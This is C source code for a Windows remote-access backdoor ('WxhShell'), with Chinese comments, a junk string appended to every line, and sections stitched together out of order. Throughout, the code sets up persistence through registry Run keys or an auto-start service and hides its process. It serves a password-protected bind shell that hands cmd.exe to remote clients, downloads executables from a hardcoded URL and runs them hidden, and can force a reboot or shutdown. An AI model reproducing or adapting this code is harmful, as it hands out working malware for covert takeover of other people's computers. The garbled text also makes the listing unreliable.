    if(Boot(SHUTDOWN)) |7$F r[2d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )<_e{_ h  
    else { '&?OhSeN  
    closesocket(wsh); D%L}vugxK  
    ExitThread(0); *v+xKy#M  
    } lTl-<E;  
    break; tI2V)i!  
    } 7 &y'\  
  // 获取shell E$B7E@(U  
  case 's': { [ML%u$-  
    CmdShell(wsh); oBfh1/< <a  
    closesocket(wsh); "bI'XaSv  
    ExitThread(0); )%8 ;C]G;  
    break; c{YBCWA  
  } Up:<NHJT  
  // 退出 2Zf} t  
  case 'x': { G}!dm0s$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~Z74e>V%  
    CloseIt(wsh); _J'V5]=4  
    break; <m;idfn  
    } H/qv%!/o  
  // 离开 blbL49;  
  case 'q': { :A+nmz!z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^FaBaDcnl  
    closesocket(wsh); YNEPu:5J  
    WSACleanup(); SFKfsb!C  
    exit(1); |y,%dFNLf  
    break; >=G-^z:  
        } mB.ybrig  
  } IM""s]  
  } P ?- #d\qi  
xq#YBi,  
  // 提示信息 N3J T[7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uB;\nj5'D  
} z[zURj-*]  
  }  58S>B'  
{bQi z  
  return; xa7~{ E,  
} z?ck*9SZX  
l/(|rl#6  
// shell模块句柄 BSe{HmDq  
int CmdShell(SOCKET sock) '@~\(SH  
{ \Y37wy4  
STARTUPINFO si; m tPmVze  
ZeroMemory(&si,sizeof(si)); woQ UrO(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1N8:,bpsT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dvPK5+0W?  
PROCESS_INFORMATION ProcessInfo; 2n/cq K   
char cmdline[]="cmd"; 3aD\J_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0l.\KF  
  return 0; '/2u^&W  
} pDw^~5P  
BKd03s=  
// 自身启动模式 X\\c=[#8-  
int StartFromService(void) 0keqtr  
{ 2P&KU%D)0s  
typedef struct J|$(O$hYy  
{ 2[^p6s[  
  DWORD ExitStatus; : `Nh}Ka0  
  DWORD PebBaseAddress; 3&39M&  
  DWORD AffinityMask; O,$ ?Pj6  
  DWORD BasePriority; bl/tl_.p00  
  ULONG UniqueProcessId; @m#1[n;  
  ULONG InheritedFromUniqueProcessId; n'WhCrW  
}   PROCESS_BASIC_INFORMATION; _9y  
hn$l<8=Q_  
PROCNTQSIP NtQueryInformationProcess; -w>2!@8  
=f{)!uW<4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vKX6@eg"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VLLE0W _]  
d&N[\5q  
  HANDLE             hProcess; rMV<}C ^  
  PROCESS_BASIC_INFORMATION pbi; gb_r <j:w  
@;^7kt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |.asg  
  if(NULL == hInst ) return 0; o@o0V  
8`I/\8;H'p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `~~.0QC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1[? xU:;9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |sG@Ku7~4  
Bu%TTbnz_G  
  if (!NtQueryInformationProcess) return 0; )/32sz]~  
dfU z{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =_\+6\_  
  if(!hProcess) return 0; G7|CwzMg  
:6N'%LKK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h'QEwW  
y<r@zb9  
  CloseHandle(hProcess); GjHV|)^  
Qp]-:b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )MV`(/BC*  
if(hProcess==NULL) return 0; 0 It[Pa qG  
D%WgE&wtM  
HMODULE hMod; mVSaC  
char procName[255]; Or({|S9d2  
unsigned long cbNeeded; {? a@UUvC  
l(o;O.dLt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }]fJ[KbDp  
7W7!X\0Y  
  CloseHandle(hProcess); -Hx._I$l  
+Jf4 5[D   
if(strstr(procName,"services")) return 1; // 以服务启动 Oo)MxYPU  
-GqMis}c  
  return 0; // 注册表启动 D'nO  
} [@"7qKd1  
k+D32]b@  
// 主模块 "s?!1v(v  
int StartWxhshell(LPSTR lpCmdLine) NWN Pq"  
{ dg(fD>+  
  SOCKET wsl; 9f wFSJx  
BOOL val=TRUE; TgDx3U[  
  int port=0; /:<.Cn>-  
  struct sockaddr_in door; h 2Kx  
/4Df 'd  
  if(wscfg.ws_autoins) Install(); ZysZS%  
H@j D %  
port=atoi(lpCmdLine); W-72&\7  
BAJEn6f?  
if(port<=0) port=wscfg.ws_port; *[@k=!73  
Pc{0Js5VzE  
  WSADATA data; o3s ME2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]<Ugg  
Q5!"tF p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qGH s2Og  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,(D:cRN  
  door.sin_family = AF_INET; S8zc1!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \W;+@w|c  
  door.sin_port = htons(port); ~9tPT 0^+  
sz7|2OV"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BLno/JK0}  
closesocket(wsl); xlhc`wdm  
return 1; T#>1$0yv  
} hYj!*P)uV  
)|d]0/<  
  if(listen(wsl,2) == INVALID_SOCKET) { c~bTK" u  
closesocket(wsl); =}8:zO 2'{  
return 1; ;X9nYH  
} f{[] m(X;  
  Wxhshell(wsl); 5os(.   
  WSACleanup(); Wej'AR\NX  
88]UA  
return 0; Zn-F!Lsv  
s}O9[_v  
} ya*KA.EGg  
Fq-A vU  
// 以NT服务方式启动 McXid~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IM^K]$q$47  
{ BB>R=kt  
DWORD   status = 0; !_ng_,J  
  DWORD   specificError = 0xfffffff; YNRorE   
LKEf#mp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t+2!"Jr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Vk#wJ-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F$!K/Mm[  
  serviceStatus.dwWin32ExitCode     = 0; 9q4%s?)j  
  serviceStatus.dwServiceSpecificExitCode = 0; 3BSJ|o<"=  
  serviceStatus.dwCheckPoint       = 0; QoU0>p+ 2  
  serviceStatus.dwWaitHint       = 0; NI1jJfH|l  
+ Q $J q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Kt 0 3F$  
  if (hServiceStatusHandle==0) return; gbl`_t/  
}8zw| (GR,  
status = GetLastError(); ]P5|V4FXo  
  if (status!=NO_ERROR) ]csfK${  
{ 5y1:oiE/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tbNIl cAWS  
    serviceStatus.dwCheckPoint       = 0; 3~r>G  
    serviceStatus.dwWaitHint       = 0; {cYS0%Go  
    serviceStatus.dwWin32ExitCode     = status; zx(=ArCRr  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6oQSXB@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -=+@/@nV  
    return; {p70( ]v  
  } G!^}z (Mgi  
) vKZs:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q;'{~!=  
  serviceStatus.dwCheckPoint       = 0; l1EI4Y9KG  
  serviceStatus.dwWaitHint       = 0; +ROwk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {e1akg.  
} JIA'3"C  
2,3pmb  
// 处理NT服务事件,比如:启动、停止 p1O[QQ|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R)<PCe`vf  
{ +@ j@#~=K  
switch(fdwControl) JF+E.-fy$  
{ y\xa<!:g  
case SERVICE_CONTROL_STOP: v Mi&0$  
  serviceStatus.dwWin32ExitCode = 0; qkLp8/G>pO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6UXDIg=  
  serviceStatus.dwCheckPoint   = 0; zj+.MG04  
  serviceStatus.dwWaitHint     = 0; q>E[)\+y  
  { "s6\l~+9l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y >83G`*}b  
  } I|SQhbi  
  return; lV*dQwa?i  
case SERVICE_CONTROL_PAUSE: 'H]&$AZ;@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #7Pnw.s3zz  
  break; 6^'BhHP  
case SERVICE_CONTROL_CONTINUE: [s"e?Qee  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9?IvSv}z  
  break; %:DH _0  
case SERVICE_CONTROL_INTERROGATE: S%sD#0l  
  break; |P>Yf0  
}; n@`:"j%s_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OX  r%b  
} *?-,=%,z/  
k'(eQ5R3L  
// 标准应用程序主函数 i.(kX`~J1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -fB;pS,  
{ wUj#ACqB  
J'=iEI  
// 获取操作系统版本 k|Syw ATr  
OsIsNt=GetOsVer(); ~kJ}Z<e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q, `:RF3  
Y]33:c_;Mo  
  // 从命令行安装 ^qro0]"LD  
  if(strpbrk(lpCmdLine,"iI")) Install(); (:spA5  
G%RL8HU  
  // 下载执行文件 ,8Yc@P_O  
if(wscfg.ws_downexe) { &Se!AcvKF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?4^8C4  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^tFbg+.  
} KbcmK( `_  
c=52*&  
if(!OsIsNt) { ma%PVz`I;9  
// 如果时win9x,隐藏进程并且设置为注册表启动 'T7=.Hq<4  
HideProc(); [ljC S  
StartWxhshell(lpCmdLine); K!\$MBI  
} V?0Yzg$sy  
else }=fVO<R v  
  if(StartFromService()) NY,ZTl_  
  // 以服务方式启动 jk\04k  
  StartServiceCtrlDispatcher(DispatchTable); NO%x 2dx0  
else ?}tWI7KI  
  // 普通方式启动 L  (#DVF  
  StartWxhshell(lpCmdLine); z^etH/]Sy  
xeGl}q|  
return 0; (z:DTe  
} YWXY4*G  
EW:tb-%`  
Wj}PtQ%lp/  
\uUd *  
=========================================== |RA|nu   
&-h z&/A,  
>B~vE2^tQ~  
?: XY3!{  
ylo/]pVs  
@7fx0I'n  
" f-BEfC,}'  
W7 .Y`u[  
#include <stdio.h> \H -,^[G3  
#include <string.h> q"uP%TN  
#include <windows.h> RY4b <i3  
#include <winsock2.h> &W|r P(  
#include <winsvc.h> g:yUZ;U  
#include <urlmon.h> 5x} XiMM  
))<1"7D^^  
#pragma comment (lib, "Ws2_32.lib") kYl')L6  
#pragma comment (lib, "urlmon.lib") NF0=t}e  
ui[E,W~  
#define MAX_USER   100 // 最大客户端连接数 VGPBD-6)  
#define BUF_SOCK   200 // sock buffer {$ (X,E  
#define KEY_BUFF   255 // 输入 buffer n-5@<y^  
rZt7C(FM$7  
#define REBOOT     0   // 重启 -{=c T?"+  
#define SHUTDOWN   1   // 关机 e+? -#  
W bP wO  
#define DEF_PORT   5000 // 监听端口 }iZ>Gm '5  
R'Y=- yF  
#define REG_LEN     16   // 注册表键长度 ifYC&5}SI  
#define SVC_LEN     80   // NT服务名长度 ,m08t9F  
ee7{5  
// 从dll定义API 4P(ysTuM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %dN',  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZnVx 'Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VY#:IE:T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TlA*~HG<Q  
iax6o+OG|  
// wxhshell配置信息 F\H^=P  
struct WSCFG { Jm5&6=  
  int ws_port;         // 监听端口 bTrQ(qp  
  char ws_passstr[REG_LEN]; // 口令 j&qJK,~  
  int ws_autoins;       // 安装标记, 1=yes 0=no `Qg#`  
  char ws_regname[REG_LEN]; // 注册表键名 r{Stsha(  
  char ws_svcname[REG_LEN]; // 服务名 V.f'Cw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  -l ?J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H)Kt!v8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ':[:12y[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $d +n},[C{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,O;+fhUJ(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^UJ#YRzi  
`"#0\Wh  
}; zq?Iwyo  
;Bs^+R7  
// default Wxhshell configuration 3H'+7[~qH  
struct WSCFG wscfg={DEF_PORT, 5YQq*$|'+  
    "xuhuanlingzhe", 9tt0_*UX  
    1, HJh9 <I  
    "Wxhshell", 5V($|3PI  
    "Wxhshell", FV1!IE-}-  
            "WxhShell Service", [HV9KAoA  
    "Wrsky Windows CmdShell Service", a BHV  
    "Please Input Your Password: ", j+E[ [  
  1, F9Bj$`#)  
  "http://www.wrsky.com/wxhshell.exe", Rw R.*?#  
  "Wxhshell.exe" R\+O.vX  
    }; 2S{IZ]  
sXmZ0Dv  
// 消息定义模块 "?yu^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2Y2J)5,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GkutS.2G#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2Y+8!4^L a  
char *msg_ws_ext="\n\rExit."; N)0I+>, ^  
char *msg_ws_end="\n\rQuit."; yU"'h[^  
char *msg_ws_boot="\n\rReboot..."; ;?A?1q8*  
char *msg_ws_poff="\n\rShutdown..."; T&5dF9a  
char *msg_ws_down="\n\rSave to "; @rh1W$  
%~ROV>&  
char *msg_ws_err="\n\rErr!"; ST^@7f_  
char *msg_ws_ok="\n\rOK!"; %NI'PXpI  
N;.cZp2  
char ExeFile[MAX_PATH]; NUclF|G  
int nUser = 0; Ju~8C\Dd  
HANDLE handles[MAX_USER]; BwN>;g_  
int OsIsNt; gkN|3^  
];|;")#=  
SERVICE_STATUS       serviceStatus; BU|bo")  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #CM^f^*  
j+p=ik  
// 函数声明 }g?9 /)z  
int Install(void); wJb\Q  
int Uninstall(void); g[W`4  
int DownloadFile(char *sURL, SOCKET wsh); &;)6G1X1  
int Boot(int flag); W9$mgs=S`E  
void HideProc(void); wkp|V{k  
int GetOsVer(void); hgz7dF  
int Wxhshell(SOCKET wsl); :h|nV ~  
void TalkWithClient(void *cs); ,B,2t u2  
int CmdShell(SOCKET sock); tvC7LLNP<  
int StartFromService(void); I'_.U]An  
int StartWxhshell(LPSTR lpCmdLine); cX64 X  
Ux2p qPb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gda3{g7<)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u/@dWeY[]  
aXSTA ,%  
// 数据结构和表定义 |VC/ (A  
SERVICE_TABLE_ENTRY DispatchTable[] = Z~.3)6,z  
{ 05<MsxB"w  
{wscfg.ws_svcname, NTServiceMain}, igV4nL  
{NULL, NULL} FDHa|<oz  
}; ,a I0Aw  
IX /r  
// 自我安装 \\qw"w9  
int Install(void) NINaOs  
{ Cu%|}xq  
  char svExeFile[MAX_PATH]; [y>;  
  HKEY key; tcg sXB/t  
  strcpy(svExeFile,ExeFile); }b#KV?xgW  
FuYV}C  
// 如果是win9x系统,修改注册表设为自启动 Mb I';Mq  
if(!OsIsNt) { Tv;|K's'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]0HlPP:2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));   0%  
  RegCloseKey(key); [-@Lbu-|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FafOd9>AO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NA,)FmQjk  
  RegCloseKey(key); kCRP?sj  
  return 0; | Wrf|%p  
    } j HOE%  
  } S*o%#ZJN  
} V9 pKb X  
else { v :YW[THre  
]hBp elKJ  
// 如果是NT以上系统,安装为系统服务 /^E2BRI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OG_2k3v  
if (schSCManager!=0) zl: 5_u=T  
{ W@^O'&3d  
  SC_HANDLE schService = CreateService H1,;Xrm  
  ( aF:_1. LC  
  schSCManager, p5!=Ur&A c  
  wscfg.ws_svcname, pP&TFy#G+'  
  wscfg.ws_svcdisp, =NH p%|  
  SERVICE_ALL_ACCESS, 0ih=<@1K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o)P'H"Ki  
  SERVICE_AUTO_START, Y9TaU]7]  
  SERVICE_ERROR_NORMAL, [T;0vv8  
  svExeFile, O)'Bx=S4Ke  
  NULL, :bLLN  
  NULL, m CFScT  
  NULL, CL*i,9:NR  
  NULL, +oY[uF  
  NULL fjUyx:  
  ); ^/wvHu[#  
  if (schService!=0) 1{oq8LB  
  { p;dH[NW  
  CloseServiceHandle(schService); a X>bC-  
  CloseServiceHandle(schSCManager); BzqM$F( L,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |pv:'']J  
  strcat(svExeFile,wscfg.ws_svcname); Qa nE]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d/8I&{.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w. gI0`  
  RegCloseKey(key); ZGHkW9b&  
  return 0; t)n!];  
    } eI@LVi6<b  
  } R=IZFwr  
  CloseServiceHandle(schSCManager); ;Cdrjx  
} slV+2b  
} n"dC]&G'  
'H<0:bQ=I  
return 1; D7b<&D@  
} \v7M`! &  
6@-VLO))O  
// 自我卸载 Kr!(<i  
int Uninstall(void) 0xVue[ep  
{ s[ |sfqB1`  
  HKEY key; 1&~u:RUXe  
#Sj:U1x  
if(!OsIsNt) { *KO4H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6,sZo!G  
  RegDeleteValue(key,wscfg.ws_regname); /wB<1b"  
  RegCloseKey(key); @, D 3$P8}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )W!8,e+%  
  RegDeleteValue(key,wscfg.ws_regname); 8[SiIuIV  
  RegCloseKey(key); [kx_Izi/T  
  return 0; 2T &<jt  
  } `}ak;^Me  
} $srb!&~_>  
} LB_y lfg  
else { k&4@$;Ap  
>|L,9lR_b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oHkF>B [  
if (schSCManager!=0) agqB#,i  
{ XSkN9LqZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  h&\%~LO.  
  if (schService!=0) bv`gjR  
  { jN:!V t  
  if(DeleteService(schService)!=0) { Ycypd\q/  
  CloseServiceHandle(schService); 0wV!mC  
  CloseServiceHandle(schSCManager); PW"G]G,  
  return 0; V-U,3=C  
  } >OVi{NyT  
  CloseServiceHandle(schService); L+7j4:$B8  
  } l@Vl^f~P  
  CloseServiceHandle(schSCManager); woJO0hHR  
} =e/{fUg8f  
} 'f9 fw^  
5n,?>> p$  
return 1; E.]sX_X?  
} 7pDov@K<{  
h V@C|*A  
// 从指定url下载文件 <JE-#i  
int DownloadFile(char *sURL, SOCKET wsh) TIbqUR  
{ jW5n^Y)  
  HRESULT hr; "$KU +?  
char seps[]= "/"; AAjsb<P  
char *token; 6'UtB!gr  
char *file; l/,O9ur-  
char myURL[MAX_PATH]; U`_(Lq%5W  
char myFILE[MAX_PATH]; ,.tv#j|A  
YB/A0J  
strcpy(myURL,sURL); T_bk%  
  token=strtok(myURL,seps); kVk^?F  
  while(token!=NULL) :1"{0 gm  
  { <Y9vc:S  
    file=token; /Fej)WQp  
  token=strtok(NULL,seps); @EH:4~  
  } @^oOXc,r$  
^~Nz8PCY  
GetCurrentDirectory(MAX_PATH,myFILE); ^D8 YF  
strcat(myFILE, "\\"); .8hB <G  
strcat(myFILE, file); 8jW{0&ox)  
  send(wsh,myFILE,strlen(myFILE),0); }I;A\K]  
send(wsh,"...",3,0); `T2RaWR4=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %;kr%%t%  
  if(hr==S_OK) )NJD+yQ%  
return 0; z5-vx`  
else R,CFU l7Q  
return 1; L6yRN>5aE  
ucQ2/B#'4l  
} Mw2?U>h1  
es@_6ol.@  
// 系统电源模块 6r/NdI  
int Boot(int flag) aObWd5~  
{ ]Y Q[ )  
  HANDLE hToken; >=-w2&  
  TOKEN_PRIVILEGES tkp; vwDnz /-  
k`Nc<nN8  
  if(OsIsNt) { l`8S1~j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1a4HThDXP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?ihkV? ;)  
    tkp.PrivilegeCount = 1; 'L)@tkklp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p ASNiH698  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VH7VJ [  
if(flag==REBOOT) { Qi`Lj5;\F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iLw O4i  
  return 0; wvsKn YKX  
} Ub=g<MYHV  
else { Cw]& B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {LfVV5?  
  return 0; <CIJ g*  
} ko\VDyt,  
  } s@sRdoTdF  
  else { k"F5'Od  
if(flag==REBOOT) {  b=v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mY?^]3-_  
  return 0; {#N](yUm  
} #UL:#pY  
else { 22S4q`j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }I<r=?  
  return 0; 9X&Xc  
} &1Dq3%$c  
} @ qWgokf  
r# MJ  
return 1; tr0P ;}=  
} {vh}f+2  
FOiwB^$ >  
// win9x进程隐藏模块 2iHD$tw  
void HideProc(void) 2= 'gC|&s6  
{ ;n_|t/=  
,2T&33m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tZmo= 3+:  
  if ( hKernel != NULL ) <a7y]Py  
  { \xG>>A%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |F z/9+I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fH? e9E4l  
    FreeLibrary(hKernel); 5BnO-[3  
  } Br.$:g#  
hN*,]Z{  
return; uu L"o  
} c'nEbelE  
/tI8JXcUK  
// 获取操作系统版本 O@r%G0Jge  
int GetOsVer(void) UN#XP$utY  
{ ~pA_E!3W  
  OSVERSIONINFO winfo; dC8 $Ql^<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h<2o5c|  
  GetVersionEx(&winfo); x`K<z J   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "&*O7cs$pA  
  return 1; SskvxH+7  
  else f*KNt_|:  
  return 0; [:<CgU9C  
} KM$L u2  
/NfuR$oMd  
// 客户端句柄模块 }SYR)eE\  
int Wxhshell(SOCKET wsl) /.r|ron:e  
{ |kJ'FZZd  
  SOCKET wsh; 8&?Kg>M  
  struct sockaddr_in client; _7r<RZ  
  DWORD myID; RGFanP  
"L^]a$&  
  while(nUser<MAX_USER) a^_\#,}  
{ =.`(KXT  
  int nSize=sizeof(client); .lnyn|MVb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S]&f+g}&w  
  if(wsh==INVALID_SOCKET) return 1; sy`@q<h(  
$sK8l=#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4ti\;55{W  
if(handles[nUser]==0) X!Ag7^E  
  closesocket(wsh); P{j2'gg3  
else g&eIfm  
  nUser++; i]&C=X  
  } ! J`>;&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &nkYJi(!  
Hhx"47:  
  return 0; 3V ~871:-~  
} .vsrZ_y?  
<[mT*  
// 关闭 socket _'DT)%K  
void CloseIt(SOCKET wsh) iJ n<  
{ x"xl3dRu  
closesocket(wsh); ?'ID7mL  
nUser--; &#!5I;3EN  
ExitThread(0); EH{m~x[Ei  
} ~L\KMB/9e=  
#M kXio; h  
// 客户端请求句柄 -X+G_rY  
void TalkWithClient(void *cs) %(lr.9.]H  
{ R-8>,  
\]RPxM:_>  
  SOCKET wsh=(SOCKET)cs; 6;s.%W  
  char pwd[SVC_LEN]; PyQt8Qlz  
  char cmd[KEY_BUFF]; Xg+Eeg#  
char chr[1]; kI7c22OJ  
int i,j; kT6h}d^/^  
!9A6DWAE$  
  while (nUser < MAX_USER) { ]@E_Hx{S  
mQEE?/xX;  
if(wscfg.ws_passstr) { +KV?W+g)`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NG3!09eY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }e$^v*16  
  //ZeroMemory(pwd,KEY_BUFF); XY %er  
      i=0; :[![9JS/  
  while(i<SVC_LEN) { @qj4rt"  
nE.w  
  // 设置超时 4WCWu}  
  fd_set FdRead; dH:z _$Mg  
  struct timeval TimeOut; yOR]r+8  
  FD_ZERO(&FdRead); b(^/WCykH  
  FD_SET(wsh,&FdRead); W^j;"qj  
  TimeOut.tv_sec=8; Mttt]]  
  TimeOut.tv_usec=0; 7A:k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Do1 Ip&X  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .\Gl)W  
g7\MFertR^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |v,%!p s  
  pwd=chr[0]; t~vOm   
  if(chr[0]==0xd || chr[0]==0xa) { ,U`:IP/L  
  pwd=0; ^h wF=  
  break; 9!'qLO  
  } f</'=k  
  i++; ]q!,onJ  
    } ogD 8qrZ6J  
dH]0 (aJ  
  // 如果是非法用户,关闭 socket Z;M}.'BE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Fuq MT`  
} {qxFRi#\k  
WX.6|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QuFzj`(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VF#2I %R*  
o[=h=&@5p  
while(1) { |,YyuCQcL[  
6.#5Ra   
  ZeroMemory(cmd,KEY_BUFF); B%y?+4;zA  
pXn(#n<  
      // 自动支持客户端 telnet标准   %[3?vX  
  j=0; HC1jN8WDY  
  while(j<KEY_BUFF) { Ot,_=PP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R=Qa54  
  cmd[j]=chr[0]; nsf.wHGZ"J  
  if(chr[0]==0xa || chr[0]==0xd) { 4pU|BL\j  
  cmd[j]=0; :+?eF^ 5  
  break; m@(8-_  
  } Eo h4#fZ\N  
  j++; ,_SE!iL  
    } #B_Em$  
8 ckcTNPu  
  // 下载文件 @34Z/%A  
  if(strstr(cmd,"http://")) { !+bLh W`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m .:2G  
  if(DownloadFile(cmd,wsh)) h\qQ%|X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cu2eMUGt  
  else qH 1k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XFj\H(D  
  } s,z$Vt"h*K  
  else { ^)i5.o\  
:eHD{=  
    switch(cmd[0]) { A(Tqf.,G  
  i^<P@ |q  
  // 帮助 K;ncviGu  
  case '?': { [u?*' c{  
